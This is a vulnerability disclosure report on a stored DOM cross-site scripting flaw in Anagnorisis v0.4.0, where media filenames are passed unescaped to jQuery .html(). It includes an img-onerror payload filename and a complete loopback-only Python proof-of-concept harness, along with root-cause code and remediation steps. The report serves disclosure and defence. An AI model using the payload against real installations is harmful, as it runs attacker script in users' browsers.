Logo Stored DOM Cross-Site Scripting via Media Filenames in Anagnorisis v0.4.0

Stored DOM Cross-Site Scripting via Media Filenames in Anagnorisis v0.4.0

Stored DOM Cross-Site Scripting via Media Filenames in Anagnorisis v0.4.0#

Author: hiro

Affected versions: Anagnorisis v0.4.0 (source-confirmed and dynamically reproduced)

Vendor: volotat GitHub Profile

Product: Anagnorisis

Affected file: modules/music/js/PlaylistManager.js

Tested commit: acce76065cd4cecf6eaed5bee8691e95c85964d4

Description#

Anagnorisis discovers files from configured media directories and returns their relative paths to the browser. The music playlist derives base_name from each path, interpolates both values into an HTML string and passes the result to jQuery .html().

A media filename containing HTML is therefore parsed as markup when a user opens the music page. Event-handler attributes in the filename execute in the Anagnorisis origin. The value persists on disk as a filename and is rendered again whenever the library is scanned and the playlist is displayed.

Other media views contain similar innerHTML or jQuery HTML construction patterns for file paths and status strings. This report uses the music playlist as the minimal, directly reproduced source-to-sink path rather than counting each sink as a separate vulnerability.

Security Impact#

JavaScript supplied through a crafted media filename executes with access to the Anagnorisis origin. It can read or alter data exposed to that page, invoke same-origin application functions and impersonate user actions.

The impact is moderated by the product's local media-library workflow: the attacker must first cause a crafted filename to appear in a directory scanned by Anagnorisis, and a user must view the affected interface. No remote upload endpoint was found in v0.4.0, so this report does not claim unauthenticated remote placement of the filename.

Preconditions#

  • A crafted filename is present under the configured media directory. This may occur through a downloaded archive, synchronized/shared library or another authorized import channel.

  • An application user opens the music interface or another vulnerable media view.

  • The browser permits ordinary inline event-handler execution; no effective Content Security Policy was found in the tested version.

Classification and Severity#

  • Primary weakness: CWE-79 — Improper Neutralization of Input During Web Page Generation

  • Variant: stored DOM-based cross-site scripting

  • Suggested conservative CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N — 4.6 Medium

The local attack vector reflects the absence of a demonstrated remote upload path. If the vendor documents a remotely writable shared media directory as a supported trust boundary, the attack vector should be reassessed. CVE eligibility is less certain than for REPORT-01 and REPORT-02 and should be confirmed with the vendor/CNA.

Proof of Concept#

Safety and Design#

The PoC runs only on 127.0.0.1, imports the exact PlaylistManager.js and bundled jQuery from the supplied checkout, and uses a DOM marker instead of reading cookies, storage or application data. It also provides a benign filename negative control.

Run#

From an isolated v0.4.0 checkout:

python .\poc_media_filename_dom_xss.py --repo . --port 18764

Open the following URL in a browser:

http://127.0.0.1:18764/

The page displays:

CONFIRMED

The injected <img> element is present in the generated playlist and document.body.dataset.xss is changed to confirmed.

Open the negative control:

http://127.0.0.1:18764/?safe=1

The page displays:

SAFE_CONTROL_PASSED

Complete PoC Source#

#!/usr/bin/env python3
"""Serve a loopback-only harness that executes Anagnorisis' playlist code."""
​
from __future__ import annotations
​
import argparse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
from urllib.parse import urlsplit
​
​
HARNESS_HTML = b"""<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Anagnorisis v0.4.0 PlaylistManager validation</title>
<script src="/jquery.min.js"></script>
</head>
<body data-xss="not-triggered">
<div id="playlist"></div>
<pre id="result">PENDING</pre>
<script type="module">
  import PlaylistManager from "/PlaylistManager.js";
  const dummyAudio = {
    play: () => {},
    pause: () => {},
    getAttribute: () => null
  };
  const manager = new PlaylistManager(
    dummyAudio,
    $("#playlist"),
    document.createElement("img"),
    document.createElement("span"),
    {}
  );
  const safeMode = new URLSearchParams(location.search).get("safe") === "1";
  const payload = safeMode
    ? "/media/benign-track.mp3"
    : "/media/<img src=x onerror=\\"document.body.dataset.xss='confirmed'\\">.mp3";
  manager.setPlaylist([payload]);
  setTimeout(() => {
    const marker = document.body.dataset.xss;
    document.getElementById("result").textContent = safeMode
      ? (marker === "not-triggered" ? "SAFE_CONTROL_PASSED" : "SAFE_CONTROL_FAILED")
      : (marker === "confirmed" ? "CONFIRMED" : "NOT_TRIGGERED");
    document.documentElement.dataset.validation = marker;
  }, 250);
</script>
</body>
</html>
"""
​
​
class Handler(BaseHTTPRequestHandler):
   repo: Path
​
   def do_GET(self) -> None:  # noqa: N802 - stdlib handler API
       request_path = urlsplit(self.path).path
       routes = {
           "/jquery.min.js": (
               self.repo / "static" / "js" / "jquery.min.js",
               "application/javascript; charset=utf-8",
          ),
           "/PlaylistManager.js": (
               self.repo / "modules" / "music" / "js" / "PlaylistManager.js",
               "application/javascript; charset=utf-8",
          ),
      }
       if request_path == "/":
           body = HARNESS_HTML
           content_type = "text/html; charset=utf-8"
       elif request_path in routes:
           path, content_type = routes[request_path]
           body = path.read_bytes()
       else:
           self.send_error(404)
           return
​
       self.send_response(200)
       self.send_header("Content-Type", content_type)
       self.send_header("Content-Length", str(len(body)))
       self.send_header("Cache-Control", "no-store")
       self.end_headers()
       self.wfile.write(body)
​
   def log_message(self, fmt: str, *args: object) -> None:
       print(fmt % args, flush=True)
​
​
def main() -> None:
   parser = argparse.ArgumentParser()
   parser.add_argument("--repo", type=Path, required=True)
   parser.add_argument("--port", type=int, default=18764)
   args = parser.parse_args()
​
   Handler.repo = args.repo.resolve()
   server = ThreadingHTTPServer(("127.0.0.1", args.port), Handler)
   print(f"READY http://127.0.0.1:{args.port}/", flush=True)
   server.serve_forever()
​
​
if __name__ == "__main__":
   main()

Dynamic Validation#

The vulnerable and fixed variants were executed in a real headless Microsoft Edge browser:

BuildMalicious filenameBenign control
Original v0.4.0CONFIRMEDSAFE_CONTROL_PASSED
Local fixed worktreeNOT_TRIGGEREDSAFE_CONTROL_PASSED

Screenshots and machine-readable browser output are retained in the internal validation workspace. The malicious test generated a real <img> DOM node; the fixed build rendered the payload as text.

Root Cause#

The vulnerable code mixes untrusted data and HTML:

playlistHtml += `
 <a class="panel-block ${isActiveClass}"
    data-path="${item.file_path}"
    data-index="${globalIndex}">
   <span class="panel-icon is-size-7">
     <i class="fas fa-music" aria-hidden="true"></i>
   </span>
   ${item.base_name}
 </a>
`;
​
this.playlistElement.html(playlistHtml);

Neither item.file_path nor item.base_name is HTML-escaped. The value is used in both an attribute and element content, so string replacement or partial escaping would be fragile.

Recommended Remediation#

  1. Build elements with DOM APIs or jQuery constructors.

  2. Assign filenames with textContent or jQuery .text().

  3. Assign data-* values with .attr()/.data() rather than HTML interpolation.

  4. Replace other file-path innerHTML and .html(status) sinks with safe text construction.

  5. Add tests for filenames containing <, >, ", ', & and Unicode.

  6. Add a restrictive Content Security Policy as defense in depth; do not treat CSP as the primary fix.

Fix Verification#

A local proposal replaced playlist HTML concatenation with programmatically created elements and .text(). The same malicious-filename browser test no longer executed, while the benign playlist control continued to render. This is a local validation result, not an upstream fix or fixed release.

Duplicate and Disclosure Status#

GitHub Security Advisories, public issues, NVD, CVE/GHSA, VulDB and project-specific XSS searches were checked on 2026-07-28. No public same-project report was found. This does not exclude private reports or reserved identifiers.

The vendor has not been contacted, no advisory has been published, no VulDB entry has been submitted and no CVE has been requested.

Last updated on